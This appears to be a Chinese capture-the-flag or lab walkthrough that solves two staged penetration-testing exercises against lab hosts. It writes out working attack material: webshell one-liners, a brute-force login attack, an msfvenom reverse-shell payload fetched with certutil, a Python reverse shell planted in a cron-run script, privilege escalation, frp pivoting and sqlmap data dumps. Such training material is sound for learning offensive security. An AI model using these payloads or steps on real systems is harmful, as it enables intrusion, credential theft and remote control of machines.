测试1
阶段1: Web站点渗透控制
任务1: 端口扫描获取后台地址
题解:
打开Kali_MissionKit
操作机,在桌面新建终端,使用nmap
工具扫描192.168.2.100
开放的端口:
nmap -Pn -sT 192.168.2.100 -p 80,8080,1433,3389,1525,3306
可以看到目标开放了3389,80端口,在Win10_MissionKit
操作机中使用浏览器访问该地址的80端口,可以看到目标主机开放web应用:
通过观察我们可以发现该站点用了一套atomaticms
系统,Kali_MissionKit
操作机的桌面有对应的源码文件夹,进入源码文件夹对atomaticms
系统的文件结构进行检查,发现疑似后台管理员登录地址:
Kali_MissionKit
操作机打开浏览器:
访问http://192.168.2.100/acms_adminlogin.asp
,发现目标站点的后台登录口:
任务2: 暴力破解登录密码
题解:Kali_MissionKit
操作机中设置浏览器的代理:
代理地址和端口如下,配置完成后点击OK
:
在Kali_MissionKit
操作机的终端输入burpsuite
启动Burpsuite
抓包工具:
此时抓包工具已开启拦截:
回到浏览器中,输入登录信息:admin/admin
:
点击LOGIN
:
此时抓包工具出现记录,通过点击Forward
按钮可查看下一个包:
找到包含登录信息的数据包:
将数据包发送到攻击模块,尝试暴力破解admin
用户的密码,点击Action
>>Send to Intruder
:
点击Intruder
>>Positions
,点击Clear
:
双击选中password=
后面的admin
:
选中后点击Add
,准备爆破密码信息:
点击Payloads
>>Load...
:
添加密码字典:
配置完成后点击Start attack
进行暴力破解:
破解结果显示test123
的响应长度不一样,在Response
中发现网站主页的链接,确定test123
为登录密码:
任务3: 文件上传获取Shell
题解:
抓包工具关闭监听,点击Intercept is on
按钮:
浏览器中使用爆破得到的密码进行登录:
发现报错500:
通过对源码的检查,发现文件上传界面:
浏览器中尝试访问:
在桌面创建文件,命名为1.asp
:
修改1.asp
文件的内容为一句话木马:
<%execute request("cmd")%>
上传1.asp
:
跳转到后HOME
界面:
将1.asp
重命名为1.cer
:
将1.cer
进行上传:
上传成功:
任务4: 获取管理员权限
题解:
在Kali_MissionKit
操作机中进入/root/Desktop/tools/antsword/AntSword-Loader-v4.0.3-linux-x64/
目录,在该目录下右键打开终端:
启动蚁剑:
./AntSword
右键空白处点击Add
,shell信息如下,点击Add
进行添加:
双击添加的shell url
进入文件目录,将桌面的ms15-051x64.exe
文件通过拖拽的方式上传至蚁剑工具:
蚁剑中在ms15-051x64.exe
文件所在目录下右键打开终端:
执行命令查看权限:
ms15-051x64.exe "whoami"
获取到system
权限。
阶段2: 站点数据库渗透控制
任务1: 数据库SQL注入获取Shell
题解:
继续检查门户网站的文件结构,发现acms_pageedit.asp
页面:
浏览器中进行访问:
点击Content Management
>>Pages
:
点击HOME
:
抓包工具启动抓包,点击Intercept is off
按钮:
浏览器中点击UPDATE
按钮,抓包工具中出现记录:
全选包信息另存为1.txt
,将1.txt
放在桌面:
此时我们创建http服务,将1.txt
发布到Win10_MissionKit
操作机中;在Kali_MissionKit
操作机的桌面右键打开终端执行命令:
python -m SimpleHTTPServer 800
登录Win10_MissionKit
操作机,打开浏览器访问:
http://66.66.66.6:800
点击1.txt
出现文本的内容:
打开SQL注入工具,检查站点是否存在注入点:
双击exe程序:
将1.txt
的内容复制到请求栏中,修改IP地址,完成后点击识别注入
:
日志出现注入测试完成后可查看注入记录:
发现注入点后执行命令:
输入命令后点击执行
,日志栏出现提示,若无提示请再次点击:
获取到主机的命令执行权限。
任务2: 建立连接获取管理员权限
题解:
在Kali_MissionKit
操作机中,在桌面右键打开终端,我们用msfvenom
生成一个可执行后门:
msfvenom -p windows/meterpreter/reverse_tcp lhost=66.66.66.6 lport=6666 -f exe -o shell.exe
回到Win10_MissionKit
操作机,在SQL注入工具中执行命令:
certutil -urlcache -split -f http://66.66.66.6:800/shell.exe
在Kali_MissionKit
操作机中的终端启动MSF:
执行命令开启监听:
use exploit/multi/handler
set lhost 66.66.66.6
set lport 6666
set payload windows/meterpreter/reverse_tcp
run
回到Win10_MissionKit
操作机,在SQL注入工具中执行命令:
shell.exe
执行完成后回到Kali_MissionKit
操作机,获取到meterpreter
会话,查会话的主机地址:
使用getsystem
命令进行提权,获取到system
权限:
测试2
详情 - 标准资源_CPIT0000002-CMS内网渗透基础演练
阶段1: Wakanda主机渗透
任务1: 文件包含漏洞获取权限
题解:
Win10主机访问192.168.1.7
查看页面源代码
看起来很像文件包含。
测试读取一下代码。
http://192.168.1.7/?lang=php://filter/read/convert.base64-encode/resource=index
将源码复制到输入框中:
全选后进行base64解码:
将解码后的内容复制粘贴到文本文档中,打开后发现一个用户名和密码。
mamadou
Niamey4Ever227!!!
kali主机中使用Nmap对wakanda机器扫描全端口,命令 nmap -sT -Pn 192.168.1.7
找到了端口尝试去登陆。
成功登陆,登陆之后发现是一个python。
ssh mamadou@192.168.1.7 -p 3333
yes
Niamey4Ever227!!!
使用ptyimport pty;pty.spawn("/bin/bash")
构造一个交互shell
成功读取第一个flag
任务2: 构建反弹Shell打印Flag
题解:
读取etc/passwd
发现有一个账户devops
进入到该目录下
发现flag无法读取
此时读取一下devops用户的其他文件,查看一下第一个文件,发现 .antivirus.py文件可以写
find / -user devops 2>/dev/null
查看.antivirus.py文件,只有一行内容,即向/tmp/test中写入一行
仔细观察后发现,test文件每分钟就会被修改一次,说明有一个定时任务在不断调用.antivirus.py
于是尝试将.antivirus.py的内容修改为如下内容:
f=open('/home/devops/flag2.txt', 'r').read()
open('/tmp/flag.txt','w').write(f)
几分钟后查看tmp目录,果然出现了flag.txt,读取便获得了第二个flag
构造python反向shell,代码如下,写入到.antivirus.py文件中(编辑文件命令:vim /srv/.antivirus.py)。
open('/tmp/test','w').write('test')
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("99.99.99.99",1235))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
本机监听,等待执行 成功反弹,读取flag
任务3: 目标提权获取root权限
题解:
信息收集:
执行sudo –l
看到有一个pip是无需密码即可执行,且root权限
此处需要用到一个py脚本,kali操作机已经提供了,在kali的Desktop目录下
kali操作机使用python打开http服务,访问kali操作机的http服务下载py脚本提权。
编辑setup.py
,设置成kali的ip地址
在kali操作机种使用nc 监听 13372 端口,然后直接在定时计划任务反弹的shell执行以下指令
回到devops的shell执行命令:
sudo /usr/bin/pip install . --upgrade --force-reinstall
nc反弹成功,root权限:
看到root.txt
的内容,得到Flag。
阶段2: 内网博客站点渗透
任务1: 扫描内网建立跳板
题解:
在root权限的shell中上传frp代理工具:
在/root/Desktop/tools/frp/
目录下打开终端,执行命令:
chmod +x frps //赋权
./frps -c ./frps.ini //建立代理服务端
在root权限的shell中执行命令:
chmod +x frpc //赋权
./frpc -c ./frpc.ini //连接服务端
代理建立成功:
连接成功后设置proxychains的配置文件:
新增记录:
内网探测:进入/root/Desktop/tools/PortScan/
目录,在该目录下打开终端,使用代理扫描内网前十个IP地址:
proxychains python scan.py 192.168.1.1 192.168.1.10 -t 20
扫描完成后会在/root/Desktop/tools/PortScan/
目录下生成日志文件log.txt,双击查看:
注:若扫描长时间为结束请检查是否存在卡顿现象,检查代理报文是否一直更新,访问内网其他主机的80端口判断代理是否正常,若异常请先重启代理服务端,再重启代理客户端;若代理正常请再次运行命令执行扫描。
发现存在主机开放80端口。
登录Win10侦察终端,打开代理软件:
双击任务栏出现的图标:
建立代理服务器:
添加记录:
配置信息如下:
点击Yes>>OK>>OK完成配置。
任务2: SQL注入读取用户密码
题解:
使用Firefox浏览器,输入IP地址192.168.1.8
,打开该网站。
看到该网站的主页有个test
选项,点击 test
发现跳转到cat.php页面。
判断当前页面可能存在注入,对其进行测试,在参数 id=1
的后面加 单引号
,页面报错存在注入。
但是错误跟平时的似乎不太一样。显示为pg_exec()查询失败。所以可以大致推断,这是一个Postgre数据库的SQL注入,我们使用sqlmap 进行自动化sql注入测试。
探测目标网站的数据库数量,切换到Kali侦察终端,在命令终端中执行 proxychains sqlmap -u http://192.168.1.8/cat.php?id=1 --dbs
(过程出现提示一律输入y)
探测public数据库中有哪些表 proxychains sqlmap -u http://192.168.1.8/cat.php?id=1 -D public --tables
探测 public数据中users表的信息 proxychains sqlmap -u http://192.168.1.8/cat.php?id=1 -D public -T users --dump
(过程出现根据提示输入y或回车)
任务3: 上传Webshell获取连接
题解:
回到Win10侦察终端,我们在网站的页面点击 admin
,跳转到网站的后台登录页面,输入我们通过sql注入获取到user表中对应的用户和密码。
发现后台存在文件上传的地方,我们进行文件上传测试.
点击browse ,选择桌面上1.php文件进行上传,然后点击 add 添加
发现上传php文件之后,出现了 NO php 的提示,此时说明php文件不能上传。
先尝试上传.htacess文件,如果AllowOverride是默认值,即ALL,那么就可以通过.htaccess文件来将其他扩展名的文件作为PHP文件来解析。
首先在桌面创建一个名为htaccess的文件,内容为:
AddType application/x-httpd-php .xyth
此时设置火狐浏览器的代理为Burp监听的IP地址和对应的端口
点击Settings…,设置代理。
用rolan打开Burp抓取firefox的数据包.
选择Burp 中proxy 模块下面的 intercept 选项,设置为 intercept 为 off.
此时在 firefox 浏览器中选择New picture,跳转到上传页面后。
把Burp proxy 模块下面的 intercept 选项,设置为 intercept 为 on,在firefox 浏览器中选择上传的文件为 htaccess,在burp中点击forward 之后,再在firefox 浏览器点击add按钮,此时Burp抓到htacces文件上传的数据包。 在数据包中的 filename中的htaccess前面加上一个 点号,我们选择forward 按钮把数据包转发出去。
出现下面的页面表示上传成功。
在我们上传完htaccess之后,我们在本地桌面创建一个后缀名为xyth的一句话木马文件,其内容<?php @eval($_POST['cmd']);?>
,
选择桌面上一句话木马文件,点击Add按钮,进行上传(上传前burp关闭拦截)。
启动蚁剑:
shell路径如下:
连接成功:
阶段3: 内网EasyCMS渗透
任务1: 纵向越权登录后台
题解:
在kali侦察终端中,我们使用 proxychains 代理启动火狐,在kali 操作机中的命令行中输入 proxychains firefox
,访问easycms网站,进入网站首页,该版本CMS存在纵向越权漏洞,可以在不知道管理员身份信息以及密码信息的情况下登录网站后台。
在url后加入admin(管理员目录)跳转到后台登录页面。
根据漏洞原理中得知,现在需要使用modify伪造一个ip,然后编辑get参数绕过后台登录认证。
使用modify使用X-Forwarded-For方式(网站获取ip的函数是获取http请求中的X-Forward-For字段),设置ip为网站的IP地址,然后点击start伪造ip。
构造我们的get参数为:admin_dir=admin&site=default&ishtml=1
访问:http://192.168.1.6/index.php?admin_dir=admin&site=default&ishtml=1
成功登陆网站后台。
在后台源码的标题位置发现flag1。
任务2: 访问其他页面获取Webshell
题解:
现在注意,虽然我们登录了后台,但是并不是管理员身份,也不能在后台通过点击链接访问后台除首页以外的其他页面链接。后台都会要求验证身份。只能通过get参数去访问其他栏目。
设置参数为:case=language&act=edit&table=orders&admin_dir=admin&site=default&ishtml=1
访问语言项设置页面。在最后一页发现小马提示。
你通过测试发现不能够正常连接,于是对发现的小马进行正常的分析与猜测,最后发现正确的小马名称应该为administrator233.php
在kali侦察终端中启动蚁剑,设置同样的代理,代理的IP地址为99.99.99.99 ,端口为之前代理工具设置socks 端口。
连接shell,查看小马文件,发现flag
任务3: 访问数据库读取Flag
题解:
在蚁剑中查看网站的数据库配置文件/config/config.php(基本php的cms网站都会有一个config的网站配置文件,保存了数据库信息)
连接网站数据库。查询easycms数据库得到flag4,在Win10攻击机中使用相同的shell进行连接,将flag4在火狐浏览器中进行base64解码。
在网站的/etc目录下(该目录一般存放了服务器上各种服务的配置文件)获取flag。
1